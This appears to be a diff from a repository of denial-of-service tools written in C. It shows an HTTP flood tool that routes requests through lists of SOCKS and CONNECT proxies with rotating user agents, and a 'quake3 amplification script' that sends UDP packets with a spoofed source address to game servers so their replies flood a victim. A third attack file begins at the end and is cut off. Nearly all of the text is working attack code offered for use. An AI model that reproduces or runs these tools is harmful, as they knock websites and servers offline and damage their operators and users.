"Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; .NET CLR 3.5.30729)",
|
||||
"Mozilla/5.0 (Windows NT 6.0) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.112 Safari/535.1",
|
||||
"Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:13.0) Gecko/20100101 Firefox/13.0.1",
|
||||
"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.112 Safari/535.1",
|
||||
"Mozilla/5.0 (Windows NT 6.1; rv:2.0b7pre) Gecko/20100921 Firefox/4.0b7pre",
|
||||
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5",
|
||||
"Mozilla/5.0 (Windows NT 5.1; rv:12.0) Gecko/20100101 Firefox/12.0",
|
||||
"Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)",
|
||||
"Mozilla/5.0 (Windows NT 6.1; rv:12.0) Gecko/20100101 Firefox/12.0",
|
||||
"Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; MRA 5.8 (build 4157); .NET CLR 2.0.50727; AskTbPTV/5.11.3.15590)",
|
||||
"Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:13.0) Gecko/20100101 Firefox/13.0.1",
|
||||
"Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)",
|
||||
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_4) AppleWebKit/534.57.5 (KHTML, like Gecko) Version/5.1.7 Safari/534.57.4",
|
||||
"Mozilla/5.0 (Windows NT 6.0; rv:13.0) Gecko/20100101 Firefox/13.0.1",
|
||||
"Mozilla/5.0 (Windows NT 6.0; rv:13.0) Gecko/20100101 Firefox/13.0.1",
|
||||
};
|
||||
#define ATTACKPORT 80
|
||||
char *postformat = "%s /%s HTTP/1.1\r\nHost: %s\r\nUser-Agent: #useragent#\r\nConnection: close\r\nAccept-Encoding: gzip, deflate\r\n%s\r\n%s";
|
||||
char *postpayload;
|
||||
struct urlparts {
|
||||
char * name;
|
||||
char separator[4];
|
||||
char value[128];
|
||||
} parts[] = {
|
||||
{ "scheme", ":" },
|
||||
{ "userid", "@" },
|
||||
{ "password", ":" },
|
||||
{ "host", "//" },
|
||||
{ "port", ":" },
|
||||
{ "path", "/" },
|
||||
{ "param", ";" },
|
||||
/*{ "query", "?" },*/
|
||||
{ "fragment", "#" }
|
||||
};
|
||||
enum partnames { scheme = 0, userid, password, host, port, path, param, query, fragment } ;
|
||||
#define NUMPARTS (sizeof parts / sizeof (struct urlparts))
|
||||
struct urlparts *returnparts[8];
|
||||
struct urllist { char *url; int done; struct urllist *next; struct urllist *prev; };
|
||||
struct proxy { char *type; char *ip; int port; int working; };
|
||||
struct list { struct proxy *data; char *useragent; struct list *next; struct list *prev; };
|
||||
struct list *head = NULL;
|
||||
char parseError[128];
|
||||
int parseURL(char *url, struct urlparts **returnpart);
|
||||
char * strsplit(char * s, char * tok);
|
||||
char firstpunc(char *s);
|
||||
int strleft(char * s, int n);
|
||||
void setupparts();
|
||||
void freeparts();
|
||||
char *stristr(const char *String, const char *Pattern);
|
||||
char *str_replace(char *orig, char *rep, char *with);
|
||||
char *geturl(char *url, char *useragent, char *ip);
|
||||
char *ipstr;
|
||||
static int rps = 0;
|
||||
|
||||
void *flood(void *par) {
|
||||
struct list *startpoint = (struct list *)par;
|
||||
int i;
|
||||
struct sockaddr_in serverAddr;
|
||||
signal(SIGPIPE, SIG_IGN);
|
||||
while(1)
|
||||
{
|
||||
int sent = 0;
|
||||
if(startpoint->data->working == 0)
|
||||
{
|
||||
startpoint = startpoint->next;
|
||||
sleep(1);
|
||||
continue;
|
||||
}
|
||||
|
||||
memset(&serverAddr, 0, sizeof(serverAddr));
|
||||
serverAddr.sin_family = AF_INET;
|
||||
serverAddr.sin_port = htons(startpoint->data->port);
|
||||
serverAddr.sin_addr.s_addr = inet_addr(startpoint->data->ip);
|
||||
int serverSocket = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP);
|
||||
u_int yes=1;
|
||||
if (setsockopt(serverSocket,SOL_SOCKET,SO_REUSEADDR,&yes,sizeof(yes)) < 0) {}
|
||||
if(connect(serverSocket, (struct sockaddr *)&serverAddr, sizeof(serverAddr)) > 0)
|
||||
{
|
||||
startpoint->data->working = 0;
|
||||
startpoint = startpoint->next;
|
||||
continue;
|
||||
}
|
||||
if(strcmp(startpoint->data->type, "Socks4")==0)
|
||||
{
|
||||
unsigned char buf[10];
|
||||
buf[0] = 0x04;
|
||||
buf[1] = 0x01;
|
||||
*(unsigned short*)&buf[2] = htons(ATTACKPORT);
|
||||
*(unsigned long*)&buf[4] = inet_addr(ipstr);
|
||||
buf[8] = 0x00;
|
||||
if(send(serverSocket, buf, 9, MSG_NOSIGNAL) != 9)
|
||||
{
|
||||
startpoint->data->working = 0;
|
||||
startpoint = startpoint->next;
|
||||
close(serverSocket);
|
||||
continue;
|
||||
}
|
||||
}
|
||||
if(strcmp(startpoint->data->type, "Socks5")==0)
|
||||
{
|
||||
unsigned char buf[20];
|
||||
buf[0] = 0x05;
|
||||
buf[1] = 0x01;
|
||||
buf[2] = 0x00;
|
||||
if((sent = send(serverSocket, buf, 3, MSG_NOSIGNAL)) < 0)
|
||||
{
|
||||
startpoint->data->working = 0;
|
||||
startpoint = startpoint->next;
|
||||
close(serverSocket);
|
||||
continue;
|
||||
}
|
||||
buf[0] = 0x05;
|
||||
buf[1] = 0x01;
|
||||
buf[2] = 0x00;
|
||||
buf[3] = 0x01;
|
||||
*(unsigned long*)&buf[4] = inet_addr(ipstr);
|
||||
*(unsigned short*)&buf[8] = htons(ATTACKPORT);
|
||||
if((sent = send(serverSocket, buf, 10, MSG_NOSIGNAL)) < 0)
|
||||
{
|
||||
startpoint->data->working = 0;
|
||||
startpoint = startpoint->next;
|
||||
close(serverSocket);
|
||||
continue;
|
||||
}
|
||||
}
|
||||
if(strcmp(startpoint->data->type, "CONNECT") == 0 || strcmp(startpoint->data->type, "TUNNEL") == 0)
|
||||
{
|
||||
char *connectrequest = malloc(1024);
|
||||
bzero(connectrequest, 1024);
|
||||
sprintf(connectrequest, "CONNECT %s:25565 HTTP/1.0\r\n\r\n", ipstr);
|
||||
if((sent = send(serverSocket, connectrequest, strlen(connectrequest), MSG_NOSIGNAL)) < 0)
|
||||
{
|
||||
startpoint->data->working = 0;
|
||||
startpoint = startpoint->next;
|
||||
close(serverSocket);
|
||||
continue;
|
||||
}
|
||||
char *recvbuf = malloc(1024);
|
||||
bzero(recvbuf, 1024);
|
||||
int gotbytes = recv(serverSocket, recvbuf, 1024, 0);
|
||||
if(gotbytes < 1)
|
||||
{
|
||||
startpoint->data->working = 0;
|
||||
startpoint = startpoint->next;
|
||||
close(serverSocket);
|
||||
continue;
|
||||
}
|
||||
free(recvbuf);
|
||||
}
|
||||
char *httppayload = str_replace(postpayload, "#useragent#", startpoint->useragent);
|
||||
if(httppayload == NULL)
|
||||
{
|
||||
startpoint = startpoint->next;
|
||||
close(serverSocket);
|
||||
continue;
|
||||
}
|
||||
char *tmp = NULL;
|
||||
while((tmp = strstr(httppayload, "%RANDOM%"))!=NULL)
|
||||
{
|
||||
*(tmp) = RND_CHAR;
|
||||
*(tmp+1) = RND_CHAR;
|
||||
*(tmp+2) = RND_CHAR;
|
||||
*(tmp+3) = RND_CHAR;
|
||||
*(tmp+4) = RND_CHAR;
|
||||
*(tmp+5) = RND_CHAR;
|
||||
*(tmp+6) = RND_CHAR;
|
||||
*(tmp+7) = RND_CHAR;
|
||||
}
|
||||
send(serverSocket, httppayload, strlen(httppayload), MSG_NOSIGNAL);
|
||||
free(httppayload);
|
||||
close(serverSocket);
|
||||
rps++;
|
||||
usleep(50000);
|
||||
//startpoint = startpoint->next;
|
||||
}
|
||||
}
|
||||
|
||||
int main(int argc, char *argv[ ]) {
|
||||
if(argc < 6){
|
||||
fprintf(stderr, "Invalid parameters!\n");
|
||||
fprintf(stdout, "Usage: %s <target url> <method (GET or HEAD or POST)> <number threads to use> <proxy list> <time> [manual ip (0 to disable)] [post parameters (%RANDOM% will be replaced with random shit)]\n", argv[0]);
|
||||
exit(-1);
|
||||
}
|
||||
//fprintf(stdout, "Setting up Sockets...\n");
|
||||
int num_threads = atoi(argv[3]);
|
||||
char *method = argv[2];
|
||||
if(!(strcmp(method, "GET")==0 || strcmp(method, "HEAD")==0|| strcmp(method, "POST")==0))
|
||||
{
|
||||
fprintf(stderr, "Invalid parameters!\n");
|
||||
fprintf(stdout, "Usage: %s <target url> <method (GET or HEAD or POST)> <number threads to use> <proxy list> <time> [manual ip (0 to disable)] [post parameters (%RANDOM% will be replaced with random shit)]\n", argv[0]);
|
||||
exit(-1);
|
||||
}
|
||||
FILE *pFile = fopen(argv[4], "rb");
|
||||
if(pFile==NULL)
|
||||
{
|
||||
perror("fopen"); exit(1);
|
||||
}
|
||||
fseek(pFile, 0, SEEK_END);
|
||||
long lSize = ftell(pFile);
|
||||
rewind(pFile);
|
||||
char *buffer = (char *)malloc(lSize*sizeof(char));
|
||||
fread(buffer, 1, lSize, pFile);
|
||||
fclose (pFile);
|
||||
int i=0;
|
||||
char *pch = (char *)strtok(buffer, ":");
|
||||
while(pch != NULL)
|
||||
{
|
||||
if(head == NULL)
|
||||
{
|
||||
head = (struct list *)malloc(sizeof(struct list));
|
||||
bzero(head, sizeof(struct list));
|
||||
head->data = (struct proxy *)malloc(sizeof(struct proxy));
|
||||
bzero(head->data, sizeof(struct proxy));
|
||||
head->data->working = 1;
|
||||
head->data->ip = malloc(strlen(pch)+1); strcpy(head->data->ip, pch);
|
||||
pch = (char *)strtok(NULL, ":");
|
||||
if(pch == NULL) exit(-1);
|
||||
head->data->port = atoi(pch);
|
||||
pch = (char *)strtok(NULL, ":");
|
||||
head->data->type = malloc(strlen(pch)+1); strcpy(head->data->type, pch);
|
||||
pch = (char *)strtok(NULL, ":");
|
||||
head->useragent = useragents[rand() % (sizeof(useragents)/sizeof(char *))];
|
||||
head->next = head;
|
||||
head->prev = head;
|
||||
} else {
|
||||
struct list *new_node = (struct list *)malloc(sizeof(struct list));
|
||||
bzero(new_node, sizeof(struct list));
|
||||
new_node->data = (struct proxy *)malloc(sizeof(struct proxy));
|
||||
bzero(new_node->data, sizeof(struct proxy));
|
||||
new_node->data->working = 1;
|
||||
new_node->data->ip = malloc(strlen(pch)+1); strcpy(new_node->data->ip, pch);
|
||||
pch = (char *)strtok(NULL, ":");
|
||||
if(pch == NULL) break;
|
||||
new_node->data->port = atoi(pch);
|
||||
pch = (char *)strtok(NULL, ":");
|
||||
new_node->data->type = malloc(strlen(pch)+1); strcpy(new_node->data->type, pch);
|
||||
pch = (char *)strtok(NULL, ":");
|
||||
new_node->useragent = useragents[rand() % (sizeof(useragents)/sizeof(char *))];
|
||||
new_node->prev = head;
|
||||
new_node->next = head->next;
|
||||
head->next = new_node;
|
||||
}
|
||||
}
|
||||
free(buffer);
|
||||
const rlim_t kOpenFD = 1024 + (num_threads * 2);
|
||||
struct rlimit rl;
|
||||
int result;
|
||||
rl.rlim_cur = kOpenFD;
|
||||
rl.rlim_max = kOpenFD;
|
||||
result = setrlimit(RLIMIT_NOFILE, &rl);
|
||||
if (result != 0)
|
||||
{
|
||||
perror("setrlimit");
|
||||
fprintf(stderr, "setrlimit returned result = %d\n", result);
|
||||
}
|
||||
bzero(&rl, sizeof(struct rlimit));
|
||||
rl.rlim_cur = 256 * 1024;
|
||||
rl.rlim_max = 4096 * 1024;
|
||||
result = setrlimit(RLIMIT_STACK, &rl);
|
||||
if (result != 0)
|
||||
{
|
||||
perror("setrlimit_stack");
|
||||
fprintf(stderr, "setrlimit_stack returned result = %d\n", result);
|
||||
}
|
||||
setupparts();
|
||||
parseURL(argv[1], returnparts);
|
||||
if(argc > 6 && !(strcmp(argv[6], "0") == 0))
|
||||
{
|
||||
ipstr = malloc(strlen(argv[6])+1);
|
||||
bzero(ipstr, strlen(argv[6])+1);
|
||||
strcpy(ipstr, argv[6]);
|
||||
//fprintf(stdout, "Using manual IP...\n");
|
||||
} else {
|
||||
struct hostent *he;
|
||||
struct in_addr a;
|
||||
he = gethostbyname(returnparts[host]->value);
|
||||
if (he)
|
||||
{
|
||||
while (*he->h_addr_list)
|
||||
{
|
||||
bcopy(*he->h_addr_list++, (char *) &a, sizeof(a));
|
||||
ipstr = malloc(INET_ADDRSTRLEN+1);
|
||||
inet_ntop (AF_INET, &a, ipstr, INET_ADDRSTRLEN);
|
||||
break;
|
||||
}
|
||||
}
|
||||
else
|
||||
{ herror("gethostbyname"); }
|
||||
}
|
||||
char *postdata = malloc(1);
|
||||
bzero(postdata, 1);
|
||||
char *extrahead = malloc(1);
|
||||
bzero(extrahead, 1);
|
||||
if(argc > 7)
|
||||
{
|
||||
//fprintf(stdout, "Using post parameters\n");
|
||||
postdata = argv[7];
|
||||
extrahead = malloc(4096);
|
||||
bzero(extrahead, 4096);
|
||||
sprintf(extrahead, "Content-Length: %d\r\nContent-Type: application/x-www-form-urlencoded\r\n", strlen(postdata));
|
||||
}
|
||||
pthread_t thread[num_threads];
|
||||
postpayload = malloc(4096);
|
||||
sprintf(postpayload, postformat, method, returnparts[path]->value, returnparts[host]->value, extrahead, postdata);
|
||||
freeparts();
|
||||
|
||||
//fprintf(stdout, "Starting Flood...\n");
|
||||
|
||||
for(i = 0;i<num_threads;i++){
|
||||
pthread_create(&thread[i], NULL, &flood, (void *)head);
|
||||
pthread_detach(thread[i]);
|
||||
head = head->next;
|
||||
head = head->next;
|
||||
head = head->next;
|
||||
head = head->next;
|
||||
head = head->next;
|
||||
}
|
||||
|
||||
int temp = atoi(argv[5]);
|
||||
|
||||
for(i = 0;i<temp;i++)
|
||||
{
|
||||
sleep(1);
|
||||
//printf("R/s: %d\n", rps);
|
||||
//rps = 0;
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
void freeparts()
|
||||
{
|
||||
return;
|
||||
if(returnparts[0]!=NULL) { free(returnparts[0]); }
|
||||
if(returnparts[1]!=NULL) { free(returnparts[1]); }
|
||||
if(returnparts[2]!=NULL) { free(returnparts[2]); }
|
||||
if(returnparts[3]!=NULL) { free(returnparts[3]); }
|
||||
if(returnparts[4]!=NULL) { free(returnparts[4]); }
|
||||
if(returnparts[5]!=NULL) { free(returnparts[5]); }
|
||||
if(returnparts[6]!=NULL) { free(returnparts[6]); }
|
||||
if(returnparts[7]!=NULL) { free(returnparts[7]); }
|
||||
/*if(returnparts[8]!=NULL) { free(returnparts[8]); }*/
|
||||
return;
|
||||
}
|
||||
void setupparts()
|
||||
{
|
||||
returnparts[0] = malloc(sizeof(struct urlparts));
|
||||
returnparts[1] = malloc(sizeof(struct urlparts));
|
||||
returnparts[2] = malloc(sizeof(struct urlparts));
|
||||
returnparts[3] = malloc(sizeof(struct urlparts));
|
||||
returnparts[4] = malloc(sizeof(struct urlparts));
|
||||
returnparts[5] = malloc(sizeof(struct urlparts));
|
||||
returnparts[6] = malloc(sizeof(struct urlparts));
|
||||
returnparts[7] = malloc(sizeof(struct urlparts));
|
||||
/*returnparts[8] = malloc(sizeof(struct urlparts));*/
|
||||
bzero(returnparts[0], sizeof(struct urlparts));
|
||||
bzero(returnparts[1], sizeof(struct urlparts));
|
||||
bzero(returnparts[2], sizeof(struct urlparts));
|
||||
bzero(returnparts[3], sizeof(struct urlparts));
|
||||
bzero(returnparts[4], sizeof(struct urlparts));
|
||||
bzero(returnparts[5], sizeof(struct urlparts));
|
||||
bzero(returnparts[6], sizeof(struct urlparts));
|
||||
bzero(returnparts[7], sizeof(struct urlparts));
|
||||
/*bzero(returnparts[8], sizeof(struct urlparts));*/
|
||||
returnparts[0]->name = "scheme";
|
||||
strcpy(returnparts[0]->separator, ":");
|
||||
returnparts[1]->name = "userid";
|
||||
strcpy(returnparts[1]->separator, "@");
|
||||
returnparts[2]->name = "password";
|
||||
strcpy(returnparts[2]->separator, ":");
|
||||
returnparts[3]->name = "host";
|
||||
strcpy(returnparts[3]->separator, "//");
|
||||
returnparts[4]->name = "port";
|
||||
strcpy(returnparts[4]->separator, ":");
|
||||
returnparts[5]->name = "path";
|
||||
strcpy(returnparts[5]->separator, "/");
|
||||
returnparts[6]->name = "param";
|
||||
strcpy(returnparts[6]->separator, ";");
|
||||
/*returnparts[7]->name = "query";
|
||||
strcpy(returnparts[7]->separator, "?");*/
|
||||
returnparts[7]->name = "fragment";
|
||||
strcpy(returnparts[7]->separator, "#");
|
||||
return;
|
||||
}
|
||||
int parseURL(char *url, struct urlparts **returnpart) {
|
||||
register i;
|
||||
int seplen;
|
||||
char * remainder;
|
||||
//char * regall = ":/;?#";
|
||||
char * regall = ":/;#";
|
||||
//char * regpath = ":;?#";
|
||||
char * regpath = ":;#";
|
||||
char * regx;
|
||||
if(!*url)
|
||||
{
|
||||
strcpy(parseError, "nothing to do!\n");
|
||||
return 0;
|
||||
}
|
||||
if((remainder = malloc(strlen(url) + 1)) == NULL)
|
||||
{
|
||||
printf("cannot allocate memory\n");
|
||||
exit(-1);
|
||||
}
|
||||
strcpy(remainder, url);
|
||||
if(firstpunc(remainder) == ':')
|
||||
{
|
||||
strcpy(returnpart[scheme]->value, strsplit(remainder, returnpart[scheme]->separator));
|
||||
strleft(remainder, 1);
|
||||
}
|
||||
if (!strcmp(returnpart[scheme]->value, "mailto"))
|
||||
*(returnpart[host]->separator) = 0;
|
||||
for(i = 0; i < NUMPARTS; i++)
|
||||
{
|
||||
if(!*remainder)
|
||||
break;
|
||||
if(i == scheme || i == userid || i == password)
|
||||
continue;
|
||||
if(i == host && strchr(remainder, '@'))
|
||||
{
|
||||
if(!strncmp(remainder, "//", 2))
|
||||
strleft(remainder, 2);
|
||||
strcpy(returnpart[userid]->value, strsplit(remainder, ":@"));
|
||||
strleft(remainder, 1);
|
||||
if(strchr(remainder, '@'))
|
||||
{
|
||||
strcpy(returnpart[password]->value, strsplit(remainder, "@"));
|
||||
strleft(remainder, 1);
|
||||
}
|
||||
*(returnpart[host]->separator) = 0;
|
||||
}
|
||||
if(i == path && (! *(returnpart[scheme]->value)))
|
||||
{
|
||||
*(returnpart[path]->separator) = 0;
|
||||
strcpy(returnpart[scheme]->value, "http");
|
||||
}
|
||||
regx = (i == path) ? regpath : regall ;
|
||||
seplen = strlen(returnpart[i]->separator);
|
||||
if(strncmp(remainder, returnpart[i]->separator, seplen))
|
||||
continue;
|
||||
else
|
||||
strleft(remainder, seplen);
|
||||
strcpy(returnpart[i]->value, strsplit(remainder, regx));
|
||||
}
|
||||
if(*remainder)
|
||||
sprintf(parseError, "I don't understand '%s'", remainder);
|
||||
free(remainder);
|
||||
return 0;
|
||||
}
|
||||
char *str_replace(char *orig, char *rep, char *with) {
|
||||
char *result;
|
||||
char *ins;
|
||||
char *tmp;
|
||||
int len_rep;
|
||||
int len_with;
|
||||
int len_front;
|
||||
int count;
|
||||
if (!orig)
|
||||
return NULL;
|
||||
if (!rep || !(len_rep = strlen(rep)))
|
||||
return NULL;
|
||||
if (!(ins = strstr(orig, rep)))
|
||||
return NULL;
|
||||
if (!with)
|
||||
with = "";
|
||||
len_with = strlen(with);
|
||||
for (count = 0; tmp = strstr(ins, rep); ++count) {
|
||||
ins = tmp + len_rep;
|
||||
}
|
||||
tmp = result = malloc(strlen(orig) + (len_with - len_rep) * count + 1);
|
||||
if (!result)
|
||||
return NULL;
|
||||
while (count--) {
|
||||
ins = strstr(orig, rep);
|
||||
len_front = ins - orig;
|
||||
tmp = strncpy(tmp, orig, len_front) + len_front;
|
||||
tmp = strcpy(tmp, with) + len_with;
|
||||
orig += len_front + len_rep;
|
||||
}
|
||||
strcpy(tmp, orig);
|
||||
return result;
|
||||
}
|
||||
char *stristr(const char *String, const char *Pattern)
|
||||
{
|
||||
char *pptr, *sptr, *start;
|
||||
uint slen, plen;
|
||||
for (start = (char *)String,
|
||||
pptr = (char *)Pattern,
|
||||
slen = strlen(String),
|
||||
plen = strlen(Pattern);
|
||||
slen >= plen;
|
||||
start++, slen--)
|
||||
{
|
||||
|
||||
while (toupper(*start) != toupper(*Pattern))
|
||||
{
|
||||
start++;
|
||||
slen--;
|
||||
|
||||
if (slen < plen)
|
||||
return(NULL);
|
||||
}
|
||||
sptr = start;
|
||||
pptr = (char *)Pattern;
|
||||
while (toupper(*sptr) == toupper(*pptr))
|
||||
{
|
||||
sptr++;
|
||||
pptr++;
|
||||
|
||||
if ('\0' == *pptr)
|
||||
return (start);
|
||||
}
|
||||
}
|
||||
return(NULL);
|
||||
}
|
||||
char * strsplit(char * s, char * tok) {
|
||||
#define OUTLEN (255)
|
||||
register i, j;
|
||||
static char out[OUTLEN + 1];
|
||||
for(i = 0; s[i] && i < OUTLEN; i++)
|
||||
{
|
||||
if(strchr(tok, s[i]))
|
||||
break;
|
||||
else
|
||||
out[i] = s[i];
|
||||
}
|
||||
out[i] = 0;
|
||||
if(i && s[i])
|
||||
{
|
||||
for(j = 0; s[i]; i++, j++) s[j] = s[i];
|
||||
s[j] = 0;
|
||||
}
|
||||
else if (!s[i])
|
||||
*s = 0;
|
||||
return out;
|
||||
}
|
||||
char firstpunc(char * s) {
|
||||
while(*s++)
|
||||
if(!isalnum(*s)) return *s;
|
||||
return 0;
|
||||
}
|
||||
int strleft(char * s, int n) {
|
||||
int l;
|
||||
l = strlen(s);
|
||||
if(l < n)
|
||||
return -1;
|
||||
else if (l == n)
|
||||
*s = 0;
|
||||
memmove(s, s + n, l - n + 1);
|
||||
return n;
|
||||
}
|
||||
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
@@ -0,0 +1,210 @@
|
||||
/* quake3 amplification script */
|
||||
|
||||
#include <time.h>
|
||||
#include <pthread.h>
|
||||
#include <unistd.h>
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
#include <sys/socket.h>
|
||||
#include <netinet/ip.h>
|
||||
#include <netinet/udp.h>
|
||||
#include <arpa/inet.h>
|
||||
#define MAX_PACKET_SIZE 8192
|
||||
#define PHI 0x9e3779b9
|
||||
static uint32_t Q[4096], c = 362436;
|
||||
struct list
|
||||
{
|
||||
struct sockaddr_in data;
|
||||
struct list *next;
|
||||
struct list *prev;
|
||||
};
|
||||
struct list *head;
|
||||
volatile int tehport;
|
||||
volatile int limiter;
|
||||
volatile unsigned int pps;
|
||||
volatile unsigned int sleeptime = 100;
|
||||
struct thread_data{ int thread_id; struct list *list_node; struct sockaddr_in sin; };
|
||||
void init_rand(uint32_t x)
|
||||
{
|
||||
int i;
|
||||
Q[0] = x;
|
||||
Q[1] = x + PHI;
|
||||
Q[2] = x + PHI + PHI;
|
||||
for (i = 3; i < 4096; i++)
|
||||
{
|
||||
Q[i] = Q[i - 3] ^ Q[i - 2] ^ PHI ^ i;
|
||||
}
|
||||
}
|
||||
uint32_t rand_cmwc(void)
|
||||
{
|
||||
uint64_t t, a = 18782LL;
|
||||
static uint32_t i = 4095;
|
||||
uint32_t x, r = 0xfffffffe;
|
||||
i = (i + 1) & 4095;
|
||||
t = a * Q[i] + c;
|
||||
c = (t >> 32);
|
||||
x = t + c;
|
||||
if (x < c) {
|
||||
x++;
|
||||
c++;
|
||||
}
|
||||
return (Q[i] = r - x);
|
||||
}
|
||||
unsigned short csum (unsigned short *buf, int nwords)
|
||||
{
|
||||
unsigned long sum = 0;
|
||||
for (sum = 0; nwords > 0; nwords--)
|
||||
sum += *buf++;
|
||||
sum = (sum >> 16) + (sum & 0xffff);
|
||||
sum += (sum >> 16);
|
||||
return (unsigned short)(~sum);
|
||||
}
|
||||
void setup_ip_header(struct iphdr *iph)
|
||||
{
|
||||
iph->ihl = 5;
|
||||
iph->version = 4;
|
||||
iph->tos = 0;
|
||||
iph->tot_len = sizeof(struct iphdr) + sizeof(struct udphdr) + 14;
|
||||
iph->id = htonl(54321);
|
||||
iph->frag_off = 0;
|
||||
iph->ttl = MAXTTL;
|
||||
iph->protocol = IPPROTO_UDP;
|
||||
iph->check = 0;
|
||||
iph->saddr = inet_addr("192.168.3.100");
|
||||
}
|
||||
void setup_udp_header(struct udphdr *udph)
|
||||
{
|
||||
udph->source = htons(5678);
|
||||
udph->dest = htons(27960);
|
||||
udph->check = 0;
|
||||
memcpy((void *)udph + sizeof(struct udphdr), "\xff\xff\xff\xff\x67\x65\x74\x73\x74\x61\x74\x75\x73\x0a", 14);
|
||||
udph->len=htons(sizeof(struct udphdr) + 14);
|
||||
}
|
||||
void *flood(void *par1)
|
||||
{
|
||||
struct thread_data *td = (struct thread_data *)par1;
|
||||
char datagram[MAX_PACKET_SIZE];
|
||||
struct iphdr *iph = (struct iphdr *)datagram;
|
||||
struct udphdr *udph = (/*u_int8_t*/void *)iph + sizeof(struct iphdr);
|
||||
struct sockaddr_in sin = td->sin;
|
||||
struct list *list_node = td->list_node;
|
||||
int s = socket(PF_INET, SOCK_RAW, IPPROTO_TCP);
|
||||
if(s < 0){
|
||||
fprintf(stderr, "Could not open raw socket.\n");
|
||||
exit(-1);
|
||||
}
|
||||
init_rand(time(NULL));
|
||||
memset(datagram, 0, MAX_PACKET_SIZE);
|
||||
setup_ip_header(iph);
|
||||
setup_udp_header(udph);
|
||||
udph->source = htons(rand() % 65535 - 1026);
|
||||
iph->saddr = sin.sin_addr.s_addr;
|
||||
iph->daddr = list_node->data.sin_addr.s_addr;
|
||||
iph->check = csum ((unsigned short *) datagram, iph->tot_len >> 1);
|
||||
int tmp = 1;
|
||||
const int *val = &tmp;
|
||||
if(setsockopt(s, IPPROTO_IP, IP_HDRINCL, val, sizeof (tmp)) < 0){
|
||||
fprintf(stderr, "Error: setsockopt() - Cannot set HDRINCL!\n");
|
||||
exit(-1);
|
||||
}
|
||||
init_rand(time(NULL));
|
||||
register unsigned int i;
|
||||
i = 0;
|
||||
while(1){
|
||||
sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *) &list_node->data, sizeof(list_node->data));
|
||||
list_node = list_node->next;
|
||||
iph->daddr = list_node->data.sin_addr.s_addr;
|
||||
iph->id = htonl(rand_cmwc() & 0xFFFFFFFF);
|
||||
iph->check = csum ((unsigned short *) datagram, iph->tot_len >> 1);
|
||||
|
||||
pps++;
|
||||
if(i >= limiter)
|
||||
{
|
||||
i = 0;
|
||||
usleep(sleeptime);
|
||||
}
|
||||
i++;
|
||||
}
|
||||
}
|
||||
int main(int argc, char *argv[ ])
|
||||
{
|
||||
if(argc < 6){
|
||||
fprintf(stderr, "Invalid parameters!\n");
|
||||
fprintf(stdout, "Usage: %s <target IP> <target port> <reflection file> <threads> <pps limiter, -1 for no limit> <time>\n", argv[0]);
|
||||
exit(-1);
|
||||
}
|
||||
srand(time(NULL));
|
||||
int i = 0;
|
||||
head = NULL;
|
||||
fprintf(stdout, "Setting up sockets...\n");
|
||||
int max_len = 128;
|
||||
char *buffer = (char *) malloc(max_len);
|
||||
buffer = memset(buffer, 0x00, max_len);
|
||||
int num_threads = atoi(argv[4]);
|
||||
int maxpps = atoi(argv[5]);
|
||||
limiter = 0;
|
||||
pps = 0;
|
||||
int multiplier = 20;
|
||||
FILE *list_fd = fopen(argv[3], "r");
|
||||
while (fgets(buffer, max_len, list_fd) != NULL) {
|
||||
if ((buffer[strlen(buffer) - 1] == '\n') ||
|
||||
(buffer[strlen(buffer) - 1] == '\r')) {
|
||||
buffer[strlen(buffer) - 1] = 0x00;
|
||||
if(head == NULL)
|
||||
{
|
||||
head = (struct list *)malloc(sizeof(struct list));
|
||||
bzero(&head->data, sizeof(head->data));
|
||||
head->data.sin_addr.s_addr=inet_addr(buffer);
|
||||
head->next = head;
|
||||
head->prev = head;
|
||||
} else {
|
||||
struct list *new_node = (struct list *)malloc(sizeof(struct list));
|
||||
memset(new_node, 0x00, sizeof(struct list));
|
||||
new_node->data.sin_addr.s_addr=inet_addr(buffer);
|
||||
new_node->prev = head;
|
||||
new_node->next = head->next;
|
||||
head->next = new_node;
|
||||
}
|
||||
i++;
|
||||
} else {
|
||||
continue;
|
||||
}
|
||||
}
|
||||
struct list *current = head->next;
|
||||
pthread_t thread[num_threads];
|
||||
struct sockaddr_in sin;
|
||||
sin.sin_family = AF_INET;
|
||||
sin.sin_addr.s_addr = inet_addr(argv[1]);
|
||||
struct thread_data td[num_threads];
|
||||
for(i = 0;i<num_threads;i++){
|
||||
td[i].thread_id = i;
|
||||
td[i].sin= sin;
|
||||
td[i].list_node = current;
|
||||
pthread_create( &thread[i], NULL, &flood, (void *) &td[i]);
|
||||
}
|
||||
fprintf(stdout, "Starting flood...\n");
|
||||
for(i = 0;i<(atoi(argv[6])*multiplier);i++)
|
||||
{
|
||||
usleep((1000/multiplier)*1000);
|
||||
if((pps*multiplier) > maxpps)
|
||||
{
|
||||
if(1 > limiter)
|
||||
{
|
||||
sleeptime+=100;
|
||||
} else {
|
||||
limiter--;
|
||||
}
|
||||
} else {
|
||||
limiter++;
|
||||
if(sleeptime > 25)
|
||||
{
|
||||
sleeptime-=25;
|
||||
} else {
|
||||
sleeptime = 0;
|
||||
}
|
||||
}
|
||||
pps = 0;
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
File diff suppressed because it is too large
Load Diff
@@ -0,0 +1,216 @@
|
||||
/*
|
||||
* This is released under the GNU GPL License v3.0, and is allowed to be used for commercial products ;)
|
||||
*/
|
||||
#include <unistd.h>
|
||||
#include <time.h>
|
||||
#include <sys/types.h>
|
||||
#include <sys/socket.h>
|
||||
